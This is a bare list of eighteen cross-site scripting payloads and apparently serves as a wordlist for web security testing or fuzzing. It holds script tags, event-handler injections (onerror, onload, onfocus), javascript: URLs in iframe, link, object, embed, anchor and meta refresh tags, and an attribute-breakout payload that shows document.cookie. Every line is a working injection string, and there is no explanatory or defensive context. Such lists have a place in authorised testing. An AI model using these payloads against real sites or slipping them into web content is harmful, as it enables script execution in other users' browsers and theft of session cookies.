<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<script>alert('XSS')</script>
<iframe src=javascript:alert('XSS')>
'"><script>alert(document.cookie)</script>
<body onload=alert('XSS')>
<link rel="stylesheet" href="javascript:alert('XSS')">
<div style="background:url(javascript:alert('XSS'))">
<object data="javascript:alert('XSS')"></object>
<input autofocus onfocus=alert(1)>
<button onclick=alert('XSS')>Click</button>
<textarea onfocus=alert(1)>XSS</textarea>
<select onfocus=alert(1)>XSS</select>
<a href="javascript:alert('XSS')">Click here</a>
<video src onerror=alert(1)></video>
<audio src onerror=alert(1)></audio>
<embed src="javascript:alert('XSS')">
<meta http-equiv="refresh" content="0;url=javascript:alert('XSS')">
